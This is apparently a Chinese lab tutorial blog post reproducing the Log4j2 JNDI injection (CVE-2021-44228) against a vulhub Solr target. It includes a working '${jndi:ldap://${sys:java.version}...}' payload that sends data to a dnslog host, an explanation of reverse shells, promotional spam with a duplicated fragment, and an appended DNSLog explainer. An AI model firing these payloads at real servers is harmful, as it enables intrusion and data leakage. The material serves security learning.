Log4j2漏洞(一)原理和dnslog验证_log4j2漏洞原理(1)

2、靶场环境
2.1、环境说明

由于后面的一个漏洞利用工具【JNDI-Injection-Exploit】在编译和攻击机的jdk版本要求一致,且版本有特定要求,否则在反弹shell时不成功,因此我都使用jdk1.8.0_191,jdk其他版本这个工具我尝试过很多次都失败了,只有jdk1.8.0_191才反弹shell成功。

环境准备请参考:《kali系统下多版本JDK共存》和《kali系统安装docker和部署vulhub服务》。

2.2、启动靶场
# 先切到对应目录
cd /home/kali/vulhub-master/log4j/CVE-2021-44228

# 开启靶场
docker-compose up -d

# 查看靶场启动情况
docker-compose ps

在这里插入图片描述

2.3、访问靶场

访问:http://your-ip:8983

在这里插入图片描述

3、确定注入点

查看/vulhub-master/log4j/CVE-2021-44228下的README文件看漏洞说明

# 查看命令
cat README.zh-cn.md

# 注入点
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com}

在这里插入图片描述

4、dnslog验证

访问:https://dnslog.org/ ,获取子域名:83ddb152.dnslog.store

在payload后拼接上以下poc

# poc格式
${jndi:ldap://${sys:java.version}.example.com}

# poc原文,把example.com替换成dnslog子域名
${jndi:ldap://${sys:java.version}.83ddb152.dnslog.store}

# 拼接第3步骤说的路径进行访问
http://your-ip:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.83ddb152.dnslog.store}

在这里插入图片描述

然后访问:https://dnslog.org/ ,点Get Results获取结果,发现会有请求结果在列表,表示能够远程执行代码

在这里插入图片描述

5、反弹shell

反弹shell (reverse shell) 是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell差不多对应,本质上是网络概念的客户端与服务端的角色反转。

反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。

6、下期内容预告

下期将会分享log4j2漏洞复现3种反弹shell利用方式,敬请关注我的公众号:大象只为你,持续更新中…

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

份全套学习资料的朋友可以戳我获取!!**](https://bbs.youkuaiyun.com/topics/618653875)

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

03-13
### DNSLog的工作原理 DNSLog通过利用DNS查询机制来传递信息并记录请求。当目标系统执行恶意构造的数据时,会触发向攻击者控制的域名发起DNS查询。由于每次DNS查询都会被服务器记录下来,因此可以通过查看这些日志获取到目标系统的响应情况[^1]。 具体来说,在Web安全测试或者漏洞挖掘过程中,如果存在SQL盲注或其他类型的注入点无法直接返回数据给攻击者,则可以借助于外部通道如HTTP(S)、FTP等协议;而DNS作为最基础也是最常见的网络服务之,几乎所有的防火墙都不会阻止其流量,所以成为了理想的带外通信手段[^3]。 为了使这种技术生效,通常需要满足以下几个前提条件: - 受害方能够解析指定子域名为IP地址; - 攻击者拥有个可配置CNAME/PTR记录并且能接收任意形式(A/AAAA/MX...)询问的日志平台; - 测试环境允许内部主机向外发送未经严格审查过滤过的DNS包。 旦上述要求得到满足,就可以精心设计输入字符串使得程序尝试加载来自特殊URL的内容——该链接指向由黑客掌控下的权威名称服务器所管理的个随机生成但独无二的新二级甚至多级子节点,并最终完成整个过程的信息泄露操作[^2]。 ### 实现方式 以下是基于Python脚本创建简单的DNSLog客户端服务端的例子: #### 客户端代码 (模拟受害者) ```python import socket def send_dns_query(domain_name, server_ip='8.8.8.8'): try: resolver = socket.gethostbyname_ex(domain_name)[2][0] print(f"Resolved {domain_name} to IP address: {resolver}") except Exception as e: print(e) if __name__ == "__main__": # 这里应该是个受控环境下唯且未注册过的子域名 unique_subdomain = "example.unique-subdomain.dnslog-server.com" send_dns_query(unique_subdomain) ``` 此部分代表可能存在于易受攻击应用程序内的逻辑错误或功能缺陷之处,它试图解析个不存在但实际上是由攻击者事先准备好的完全限定域名(FQDN),从而间接通知后者有关成功触发漏洞的消息。 #### 服务端代码片段(用于捕捉展示接收到的查询) 对于实际部署而言,建议采用成熟的开源项目比如`dnschef`或是商业解决方案而非自行编写简易版本,因为这涉及到复杂的事件处理循环以及高效的并发支持等问题超出了本文讨论范围[^4]. ```bash # 使用Dnsmasq设置本地DNS服务器监听所有类型请求并将它们重定向至自定义API接口保存起来供后续分析使用 dnsmasq --address=/#/127.0.0.1 --port=53 \ --dhcp-authoritative \ --log-facility=- \ --conf-file="" \ --server=/unique-subdomain.dnslog-server.com/#<Your API Endpoint Here> ``` 以上命令行参数组合指示了个轻量级却十分灵活的小工具如何充当临时性的公共根目录代理角色,负责捕获任何发往`.dnslog-server.com.`下各级分支结构体成员对象的切合法有效的查找活动。 ### 应用场景 除了辅助发现潜在的安全隐患之外,DNSLog还广泛应用于其他领域: - **社会工程学钓鱼邮件验证**:确认伪造链接是否已被点击打开过。 - **恶意软件行为监控**:跟踪样本运行期间产生的异常外部连接企图。 - **红队演练对抗训练**:评估防御体系对外部威胁感知能力的有效性及时性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值